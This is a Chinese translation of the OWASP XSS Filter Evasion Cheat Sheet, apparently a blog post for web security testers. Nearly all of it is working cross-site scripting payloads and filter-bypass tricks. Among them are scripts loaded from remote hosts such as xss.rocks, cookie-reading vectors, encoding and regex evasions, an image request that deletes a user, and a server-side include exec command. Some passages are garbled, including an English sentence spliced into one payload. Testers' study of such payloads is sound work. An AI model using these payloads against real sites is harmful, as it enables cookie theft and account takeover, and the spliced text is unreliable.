Xss Bypass备忘录javascript
技术要发展,免不了风波.php
也许这些攻攻防防会更好的促进技术的发展也说不定css
就让这一次次的爆破换来未来更精练的技术的无比的宁静吧html
咱们静观其变吧!java
缅怀当初那份最纯真Hacker精神!!正则表达式
2017.深圳chrome
By:Legendshell
翻译本文最初源自国内在对2014年老道翻译的一个版本,发现此版本有些翻译我的认为不太满意,在加上2017年国庆长假漫漫,无人陪伴(主要仍是约妹子没约出来!)。因此才对此进行翻译工做,但愿对国内各位安全爱好者们有必定帮助吧。请容许译者用本身对此文档看法取一个中文名字—XSS BYPASS备忘录。文中全部代码参考OWASP官方复制,同时对于官方文档里面有些描述不太清楚地方译者经过本身对XSS理解加入一些本身看法,来帮助各位对XSS理解更上一个台阶。,而后如文档以前说带上一个妹子名字。她说名字不让说,那么我们姑且叫她小星星吧,翻译版权归她全部。对于翻译不免存在错误。请各位看官见谅!数据库
翻译官方修订的版本:10/2/2017express
关于译者:ID太多本身都忘记叫那个比较合适,就叫笑摸二楼狗头吧!
译者为legend,固然也有人叫我小黑.或者…名字这些都不重要.本文部分章节采用了, OWASP Cheat Sheet Series翻译项目, XSS过滤绕过备忘单[1]部分小段,大概位于”URL字符串绕过”章节特此说明.由于译者认为他们翻译比我更为通顺.其余部分皆为译者结合全文与相关资料而编写,鄙人不认为说比老道版本好多少或者差多少.每一个读者感觉不同,我只能说对本身说:我已经尽力了.
若是有兴趣一块儿交流技术也欢迎联系我.做为一位安全圈萌新,还须要各位大佬带带,最后感谢本身的团队还有各位老铁们支持,若是没有大家意见或许就没有这份文档出现.关于如何联系我?
因上努力,果上随缘
特此说明:备忘录中译者标注和添加解释部分均用插入脚注方式或者如(译者注:)颜色标明,望知晓.
目录
XSS Filter Evasion Cheat Sheet(Chinese) 1
利用括号半开在HTML/JavaScript 进行XSS 11
利用Livescript命令进行XSS(只适用老版本Netscape) 13
利用& JavaScript includes方法进行XSS 20
利用<img>style属性配合注释符来分解XSS payload 21
利用<style>标签进行分解XSS payload 加强版 21
利用<STYLE>标签(仅限于老版本Netscape) 21
利用<style>标签的background-image属性进行XSS 21
利用<style>标签的background属性进行XSS 22
在DIV中使用background-image属性完成XSS 23
使用background-image属性配合unicoded编码完成XSS 24
使用background-image属性加上额外字符完成XSS 24
使用<EMBED>标签嵌入一个包含XSS的Flash动画 25
使用ActionScript来混淆你的XSS payload 25
利用XML的embedded方法在本地XML中嵌入Javascript 26
本文重点是为Web应用安全测试人员提供指导,以协助进行XSS安全测试。本文初始内容因为RSNake从他的开创性XSS备忘录捐赠给OWASP,该页面位于http://ha.ckers.org/xss.html。该网站如今重定向到这里https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。咱们计划在这里对它进行维护和更新。同时XSS (Cross Site Scripting) Prevention Cheat Sheet的第一个版本就是受到RSnake的XSS过滤绕过备忘录启发,因此咱们要感谢他的灵感。咱们但愿建立简单,有效指南,开发人员能够遵循指南防止XSS攻击,而不是简单告诉开发人员构造能够防止在本备忘录中全部花哨技巧的程序,所以就有XSS (Cross Site Scripting) Prevention Cheat Sheet等安全备忘录系列诞生。
这个Bypass备忘录适用于已经了解XSS攻击基础的人群,同时又但愿深刻了解防御绕过的细微差异。
请注意,大多数这些XSS payload已经在列出浏览器中进行了测试。
在大多数状况下,若是页面没有对XSS进行特别过滤状况下,在存在XSS地方将会弹出”XSS”一词。能够经过URL编码对整个payload进去编码。小技巧:若是想经过快速方法去判断一个页面是否存在XSS,一般只须要在“<PLAINTEXT>”标签处注入你的payload,看看是否被打乱就能够判断是否存在XSS漏洞了。
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
若是你没有足够的输入空间,去测试页面是否能执行javascript,则此payload是一个很不错的紧凑型的XSS检测代码。输入代码后,经过此查询页面源代码搜索XSS看他是否存在问题。
'';!--"<XSS>=&{()} |
这是一个常规的XSS测试代码,也是最容易被拦截的,可是我建议先尝试(关于引号在任何浏览器中都不须要,因此这里省略);
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> |
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script> <script>alert(document.cookie)</script>"> <img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"> <img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg"> |
利用image标签配合Javascript命令来实现XSS。(IE7.0浏览器不支持Java Script命令在image标签中触发XSS,可是在能够在其余标签中出发。下面例子仅展现一种,其余标签依旧一样能够。)
<IMG SRC="javascript:alert('XSS');"> |
译者注:如文中所说,还有其余方法.此文档未列出了而已.这里译者简单罗列一下.
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<img src="URL" style='Xss:expression(alert(/xss/));'> |
<IMG SRC=javascript:alert('XSS')> |
<IMG SRC=JaVaScRiPt:alert('XSS')> |
此样例中分号是必需要的。
<IMG SRC=javascript:alert("XSS")> |
若是你须要使用单双引号,可是又被过滤掉,可使用重音符()[2]来封装你的JavaScript字符串,这个也是不少XSS防御以及过滤器没有考虑到这个字符.
<IMG SRC=javascript:alert("RSnake says, 'XSS'")> |
利用Href规定连接目标的特性,从而发起XSS攻击,此想法由David Corss 提出,而且在Chrome浏览器上获得验证.
<a onmouseover="alert(document.cookie)">xss link</a> |
此外Chrome喜欢替你作引号补全,若是你遇到不能被执行的话.那么就直接跳过忽略他们便可.由于Chrome会修复你URL或者脚本中丢失的引号,而且将它们补全.
<a onmouseover=alert(document.cookie)>xss link</a> |
最先被Begeek发现(可谓短小而精悍的运行在任何浏览器上),这个XSS paylod依靠浏览器的渲染引擎解析IMG标签中的XSS payload,该标签必须在引号内运行.我认为这个最初为了纠正错误编码而出现的.这将意味着可使用难以理解HTML标签去解析.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
若是任何形式引号都被拦截的状况下,你可使用fromCharCode()方法来创造你须要的XSS Payload.
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
此方法将绕过大多SRC域过滤器,能够利用事件方法插入任意Java script脚本.此方法也一样适用于From,iframe,input,Embed等任何HTML标记类型元素,同时它还容许标记类型相关事件做为备选进行替换,例如onblur,onclick,在后面为你附近一份可用事件表.因为Abdullah Hussam提供. Abdulahhusam编辑.
<IMG SRC=# onmouseover="alert('xxs')"> |
<IMG SRC= onmouseover="alert('xxs')"> |
<IMG onmouseover="alert('xxs')"> |
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> |
<img src=x onerror="javascrip&
#0000116:alert('XS S')"> |
此示例所使用的XSS payload没法有些浏览器下使用.<在Gecko引擎下IMG标签在firefox和Netscape 8.1+不起做用>
<IMG SRC=javascript:alert(
'XSS')> |
编码绕过xss过滤器常常会用到"&#XX;",可是大多数人不太知道编码限制最多容许7位字符.致使错误认为一个html编码须要用;去结束,那些对字符串解码也是一样,如$tmp_string =~ s/.*\&#(\d+);.*/$1/.(做者注:无心中发现)
<IMG SRC=javascript:a&
#0000108ert('XSS')> |
这也是针对上述字符串$tmp_string =~ s/.*\&#(\d+);.*/$1/进行XSS攻击.
<IMG SRC=javascript:alert('XSS')> |
用于绕过某些XSS防御.
<IMG SRC="jav ascript:alert('XSS');"> |
使用TAB编码[3]这个来分解XSS.
<IMG SRC="jav	ascript:alert('XSS');"> |
一些人认为09-13(十进制)均可进行此类型攻击,其实非也.其实只有09(tab),10(换行)和13(回车)可使用.查看ascii表,下面四个示例将展示此payload.
<IMG SRC="jav
ascript:alert('XSS');"> |
注意:上面用这些字符串比规定的要长,由于0是能够被省略的.一般咱们看到的过滤器绕过十六进制和十进制编码是两到三个字符.正确的应该是一到七个字符.
<IMG SRC="jav
ascript:alert('XSS');"> |
Null空字符也能够做为XSS payload.可是不能像上边那样.你须要直接写入到他们利用工具中例如burp,或者使用%00字在你的url字符串里.在opera的老板(大概7.11 on windows)对于173个char会受到影响.可是null char %00更有用,并帮助咱们绕过某些真实的防御,相似示例中:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out |
XSS过滤匹配模式不少状况都没有考虑”Javascript:”中可能有存在空格的状况,所以不然没法渲染.可是这也是致使错误的假设,认为你不能够有引号和”Javascript:”关键字.实际上,你能够从十进制的%01~%32中获得任何字符;
<IMG SRC="  javascript:alert('XSS');"> |
Firefox HTML解析器设定一个在html关键字中非字母非数字都不是有效的.由于这些字符会被视为空格或非有效的HTM标签.问题是一些XSS过滤器假设他们正在匹配关键字而后被空格拆解了.例如"<SCRIPT\s" != "<SCRIPT/XSS\s":
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT> |
而后,基于上述相同想法,使用Ranke fuzzer进行拓展.Gecko渲染引擎容许字母,数字或者HTML封装字符(如引号,尖括号)以外字符位于事件处理和等号之间.从而绕过XSS过滤器.注意这也只是适用于重音符以下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert("XSS")> |
根据Yair Amit提醒,IE和Gecko渲染引擎之间略有不一样,只容许标签和参数之间没有空格和斜杠.若是系统不容许空格,这示例可能颇有用.
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT> |
由Franz Sedlmaier提交,这个XSS paylod能够经过首先使用匹配”<>”的检测引擎,而后经过比较内部标签,而没有使用更加有效的方式(例如匹配整个字符串尖括号和相关标签).”//”注释在结尾的用于防止Javascrip错误.
<<SCRIPT>alert("XSS");//<</SCRIPT> |
在Gecko渲染引擎模式下firefox和netscape8.1中,实际上并不须要常规XSSpayload中的”></script>”部分.firefox会为你很是体贴的安全闭合HTML标签,而且加入闭合标签!这不须要任何额外的HTML.你能够添加引号,若是须要的话.但一般并非必须的,注意:我不清楚这个代码写入到html代码会闭合成什么样子.
<SCRIPT SRC=http://xss.rocks/xss.js?< B > |
这个玩法由Łukasz Pilorz提出来的,而且Ozh's基于上下文提出协议解析绕过方法.这个XSS payload运行在IE.Netscape在IE和opera渲染模式中,不须要考虑编码问题,由于浏览器在”.j”写法中,会自动识别<script>标签.这种方法很是有效在输入长度受到限制,时候来进行绕过.固然域名越短越好.
<SCRIPT SRC=//ha.ckers.org/.j> |
跟firefox不一样,IE渲染引擎不会加入额外的数据在你页面上.可是它容许Javascript利用在<img>标签从而产生XSS payload.由于它不须要一个结束”>”尖括号.你能够插入这个XSS向量在任何HTML标签后面.甚至能够不用”>”来闭合标签.注意:这样确实会搞乱HTML,这取决于他下面的HTML.同时对于这种入侵检测系统(NIDS)正则匹配能够直接绕过,表达式为: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 由于它不须要”>”结束闭合标签.它也是能够有效对抗真实XSS过滤器,我曾经用这种半开的<iframe>标签代替<img>标签去绕过过滤器.
<IMG SRC="javascript:alert('XSS')" |
使用一个半开的”<”尖括号在payload结尾处代替”>”进行闭合,会在Netscape和Gecko两个渲染下产生不一样效果.firefox正常使用,Netscape就不行;
<iframe src=http://xss.rocks/scriptlet.html < |
当用户在一个应用程序编辑自定义信息的时候,在常规Javascript代码中是这样,例如: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>.若是你想插入你本身的Javascript代码时候,会被服务转义掉其中某些引号,这时你须要经过转义被转义字符来绕过它.从而使最终输入代码相似于<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT>.最终双引号被服务器转义,而且触发了XSS payload.示例以下:
\";alert('XSS');// |
另一种方法就是,若是json或者Javascript转义被应用嵌入数据,而不是HTML编码,则Payload以下示例:
</script><script>alert('XSS');</script> |
这是一个很是easy的XSS payload,能够利用闭合<title>标签,能够封装恶意的XSS攻击.
</TITLE><SCRIPT>alert("XSS");</SCRIPT> |
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> |
译者注:其实还能够利用<input>标签中的hideeen属性来触发,网上已经有详细描述,这里就不叙述了,示例以下:
<input type="hidden" name="returnurl" value="[USER INJECT]" /> |
<BODY BACKGROUND="javascript:alert('XSS')"> |
<IMG DYNSRC="javascript:alert('XSS')"> |
译者注:不过只在IE和Netscape中支持,Firefox会提示proprietary attribute或者拒绝访问.同时译者在这里说明下,只针对IE6之前,到之后版本就不支持了.望注意(*^__^*).
<IMG LOWSRC="javascript:alert('XSS')"> |
基于CSS的List-style-image属性进行XSS
使用图像来替换列表项的标记,此Javascript指令只能在IE下使用,是一个不是特别有用的XSS paylod.
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> |
译者注:因为翻译工做占用大量时间,没有在具体环境下测试此paylod,可是理论上” list-style-image”, 全部浏览器都支持 list-style-image 属性。
<IMG SRC='vbscript:msgbox("XSS")'> |
<IMG SRC="livescript:[code]"> |
<svg/onload=alert('XSS')> |
Set.constructoralert\x28document.domain\x29
|
此方法不须要”javascript:”或”<script …”任何编码方式来进行XSS攻击. Dan Crowley另外指出,你能够在等号以前放一个空格("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')> |
它能够用于上述相似XSS攻击(这是在撰写本文时在网络上最全面的列表了).感谢Rene Ledosquet在HTML+TIME上更新,此外你能够参考Dottoro Web Reference固然还有一份很好的Javascript事件列表.
<BGSOUND SRC="javascript:alert('XSS');"> |
<BR SIZE="&{alert('XSS')}"> |
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> |
(使用像远程样式表这样的东西,你能够利用样式参数做为XSS,能够用嵌入表达式方式来完成XSS攻击).可是它仅仅适用在IE浏览器或者Netscape 8.1+下运行.须要注意页面上没有显示包含Javascript代码.使用这样的远程样式表,至少须要使用body标签,所以除非显示paylod自己的其余内容.若是他是一个空白页面,你须要添加至少一个字母到页面显示,确保payload能够正常工做..
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> |
这跟上述原理相同,只不过这里使用的<STYLE>标签来代替<LINK>,稍微变更下被用来攻击GOOGLE Desktop.注意:若是此payload遇到闭合后会出如今htrml上,则能够考虑删除</style>.若是你在XSS脚本攻击中没法使用等号或斜杠,那么能够试试这个:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE> |
适用于Opera8.0(不支持9.X),根据RFC2616设置连接头,.它不符合HTTP1.1的规范,可是有一些浏览器仍然容许它(如firefox和Opera).这里技巧就是,我设置一个http头(这里与HTTP头没什么区别,例如: <http://xss.rocks/xss.css>; REL=stylesheet).这样带远程XSS payload将会运行,可是它并不支持FireFox.
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> |
仅适用于Gecko渲染引擎,并将XUL文件绑定到父页面.我的认为这里是讽刺Netscape,Gecko是更安全的,所以绝大多数网站容易受到这种影响:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> |
此payload有时会将IE浏览器中形成无限循环.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> |
由Roman Ivanov建立.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> |
这与上述XSS payload混合,但他确实展示了<style>标签被分隔解析是多困难.一样它也会在IE下形成无限弹窗.
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'> |
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> |
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> |
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> |
IE渲染引擎模式中IE6.0和Netscape8.1+并不关系你建立的html标签是否存在,只要它是以<>全开括号和字母开头就行;
<XSS STYLE="xss:expression(alert('XSS'))"> |
这跟上述两个XSSpayload有点不一样,由于它使用的.htc文件必须与XSS payload在同一域内.示例文件经过写入Javascript并利用style属性来运行;
<XSS STYLE="behavior: url(xss.htc);"> |
US-ASCII编码(因为Kurt Huwig发现).这里使用7位代替8位,该XSS payload能够绕过不少基于内容检测的过滤器,但仅限于主机上使用US-ASCII编码传输或者你设置为此编码时才起做用.这对于WEB应用防火墙XSS过滤比对服务器端过滤绕过更有用.已知Apache Tomcat目前惟一以US-ASCII编码传输的服务器.
¼script¾alert(¢XSS¢)¼/script¾ |
利用<META>奇怪之处在于它不会在http头中发送引用referrer,所以它能够用用于某些类型攻击,你须要避免引入URL:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> |
这种方案其实很不错,由于他没有任何明显的script或者Javascript指令,由于它使用base64编码.具体请参考RFC 2397了解更多详情,或者访问此处XSS编码器对你的XSSpaylod进行base64编码.
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> |
若是目标网站尝试检查URL是否包含http://,那么你可使用如下payload来绕过它.( 因为Moritz Naumann提出);
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> |
若是目标网站容许<IFRAME>,那么会产生不少XSS问题.
<IFRAME SRC="javascript:alert('XSS');"></IFRAME> |
Iframes还有大多数其余元素可使用像一下基于事件来进行混淆(因为David Cross提交.)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
<FRAME>与<IFRAME>存在相同的问题.
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> |
<TABLE BACKGROUND="javascript:alert('XSS')"> |
如图上面所述,<TD>也容易受到包含Javascript的XSS payload攻击.
<TABLE><TD BACKGROUND="javascript:alert('XSS')"> |
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
这只是稍微修改去混淆下URL参数.它最先被Renaud Lifchitz发现用于攻击hotmaill;
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> |
Rnaske创建了一个快速的XSS Fuzzer来检测半开扩号后容许的字符,但在安全的站点模式下IE和Netscape8.1中Javascript命令以前.这些都是十进制的,但固然能够利用十六进制进行填充.(可使用如下任意字符: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> |
这个payload稍微修改下在冒号和” expression”中间加入一个换行符,能够很是有效绕过真实的XSS防御.
<DIV STYLE="width: expression(alert('XSS'));"> |
尽在IE5.0及以上版本和使用IE渲染引擎模式的Netscape下有效.一些网站认为在注释内的内容是安全的,所以不须要移除.或者系统可以在页面某些部分添加注释标签,从而让它们失去有害性.如咱们所知,这些操做(把内容注释掉的操做)多是于事无补的:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT> <![endif]--> |
这在IE和Netscape8.1的安全模式下能起做用.你须要使用//注释掉下一个字符,避免JavaScript错误,从而让咱们的XSS攻击向量正常执行.这也依赖于一个条件:网站图像使用相对地址如"images/image.jpg”,而非绝对地址.若是地址中包含了斜杠("/images/image.jpg”),你能够在XSS payload移除一个:
<BASE HREF="javascript:alert('XSS');//"> |
若是页面容许<OBJECT>标签,你甚至能够在页面挂马.下面连接指向的文件是一个能够包含你的XSS payload的HTML文件;
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT> |
若是你添加allowScriptAccess=“never"和allownetworking="internal”属性,能够减轻这种风险(感谢Jonathan Vanasco提供信息);
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED> |
这个例子只在Firefox下有效,但它比上面的攻击向量要好一些,由于这不须要用户安装或开启Flash(感谢nEUrOO提供):
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
a="get";
b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); |
这个XSS payload仅限于IE和Netscape8.1中的IE渲染引擎中工做(因为Sec Consult在对yahoo进行审计时候发现这个payload)
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
这与上述相同,在本地托管(必须在同一台服务器上)包含你的XSS payload的XML文件.具体看示例;
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
这就是Grey Magic攻击hotmail和yahoo!的方法,这仅限于IE和Netscape8.1中使用,并记住,须要在HTML和<BODY>标签之间使用;
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML> |
能够将XSS payload的Javascript文件重命名为图片文件命名规则.
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> |
这须要在服务器上安装SSI,这样才能使用这个XSS payload.可能不须要说起这一种攻击方法,若是攻击者能够在服务器上执行命令,那么这个安全问题就更严重了.
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> |
须要在服务器上安装php才能使用XSS payload.再次提醒下,若是你能够像这样远程运行任意脚本,那么可能有更多可怕的安全问题;
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?> |
它是须要用户认证后才能够执行命令的当前域页面。它将能够用于建立或者删除用户(若是访问者是管理员),或是在其余地方发送凭证等等,虽然较少被使用,但很是有效的。
译者注:能够理解为相似CSRF那种操做.
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> |
这是一种更加可怕地攻击,由于没有看起来能够区别的标示符,并且它也不用放在被攻击者网站上.攻击向量使用302或304来跳转图片到一个命令地址.一个正常的<IMG SRC="httx://badguy.com/a.jpg">可以成为一个攻击工具,来执行相应的攻击命令.下面一个在Apache上的用来进行攻击的.htaccess文件的内容(感谢Timo提供)::
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser |
我认可这是一种很隐蔽的攻击方式,但我曾经见过一些示例:页面容许<META>标签,你能够用它来覆盖cookie.还有一些其余的示例:页面不是从数据库中取用户名,而是从cookie中读取.这两个场景相结合的状况下,你能够修改受害者的cookie,让你的XSS payload能够在页面上执行(一样你能够用它来改变用户状态,让它们以你的身份登陆等):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> |
若是页面存在XSS而且没有提供页面编码或者浏览器设置为UTF-7编码,页面就能遭到这种攻击(感谢Roman Ivanov).在现代浏览器中,除非修改编码类型,不然这种攻击是不会产生的(Watchfire在google的404脚本中发现了这个漏洞)
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- |
这个在IE测试过,视状况而定.对于容许”<script>”标签,但不容许经过”<SCRIPT SRC...”(正则表达式为:”/<script[^>]+src/I”),这种状况就能够考虑下此payload;
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
对于容许”<script>”标签,但不容许”<script src …>”站点上执行XSS payload正则表达式为
” /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i”,(这个很重要,由于这种正则匹配很常见.)
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
另一个绕过相似这种正则过滤绕过,XSS payload.
(” /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i”)
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> |
最后一种绕过这种正则过滤,XSS payload,使用重音符(它没法在firefox下使用).正则表达式为:
“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i”;
<SCRIPT a=> SRC="httx://xss.rocks/xss.js"></SCRIPT> |
这个XSS paylodad,会引发正则表达式不会匹配引号,同时发现会引发不正确的终止字符串.
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> |
这种XSS payload让我很担心,由于它几乎没法防护,除非禁用全部动态内容.
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT> |
假定页面不容许出现http://www.google.com/;
<A HREF="http://66.102.7.147/">XSS</A> |
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> |
(注意:还有其余双字节编码方式,具体能够经过后面的IP混淆计算器来获取更多信息)
<A HREF="http://1113982867/">XSS</A> |
你能够在第2个数字看出来,每一个数字容许的总大小在240以内.16进制的值是介于0~F之间的.从第3个数字看,前导0的也是不须要的:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> |
你能够填充0,可是要保证每一个“数字”都不小于4个字符:
<A HREF="http://0102.0146.0007.00000223/">XSS</A> |
咱们混合并匹配基本编码,添加一些制表符和换行符.这些符号须要包含在引号内才起做用.
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A> |
(//转换为http://能节省一些字符).当空间成为问题时,这是很是方便的方法.也能绕过相似于"(ht|f)tp(s)?://“的正则(感谢Ozh的提供).你能够将"//“改成"\”.你须要保证斜杠在准确的位置,不然有可能被当成一个相对路径.
<A HREF="//www.google.com/">XSS</A> |
Firefox使用Google的手气不错功能来根据用户键入的关键字跳转到对应的网站.若是你的攻击页面在一些随机关键词的顶部,你可使用这个特性来攻击Firefox用户.这利用了Firefox的“keyword:”协议.你能够经过使用若干关键词来达到目的:"keyword:XSS+RSnake”,这在Firefox2.0版本再也不有效.
<A HREF="//google">XSS</A> |
这里使用了一个只有Firefox支持的小窍门.由于它是基于手气不错功能开发的.这个不支持opera,由于opera认为这是一个利用HTTP基本认证的网络钓鱼攻击.事实上它仅仅是一个畸形的URL.若是你单击这个连接的话,它就会产生做用.不过这个特性在Firefox2.0以后的版本也不支持了:
<A HREF="http://ha.ckers.org@google">XSS</A> |
这是一个畸形的Url,只能在Firefox和Opera中起做用.由于它们是基于手气不错功能实现的, 像上面的例子同样,它们须要你的网站在谷歌搜索中排名第一(例如google):
<A HREF="http://google:ha.ckers.org">XSS</A> |
结合上面的URL,移除www能节省4个字节:
<A HREF="http://google.com/">XSS</A> |
<A HREF="http://www.google.com./">XSS</A> |
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A> |
假定"http://www.google.com/“被过滤器以编程方式被替换为空.我会使用相似的攻击向量借用过滤器的转换来绕过XSS过滤器从而建立攻击向量.下面是一个帮助建立攻击向量的例子(IE: "java	script:”被转换为"java script:”,这在IE、安全模式下的Netscape 8.1+和Opera是有效的);
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> |
下面是<字符在HTML和Javascript中全部组合.大多数不会被浏览器直接执行.可是在不少可以在上述某些特定状况下使用.
<
%3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C |
通常问题
若是攻击者绕过过滤器发起XSS攻击,WAF将没法防护攻击
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);// |
基于DOM型XSS
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie |
容易受攻击代码:
...
header('Refresh: 0; URL='.$_GET['param']); ... |
/?param=javascript:alert(document.cookie) |
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= |
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="
 1 
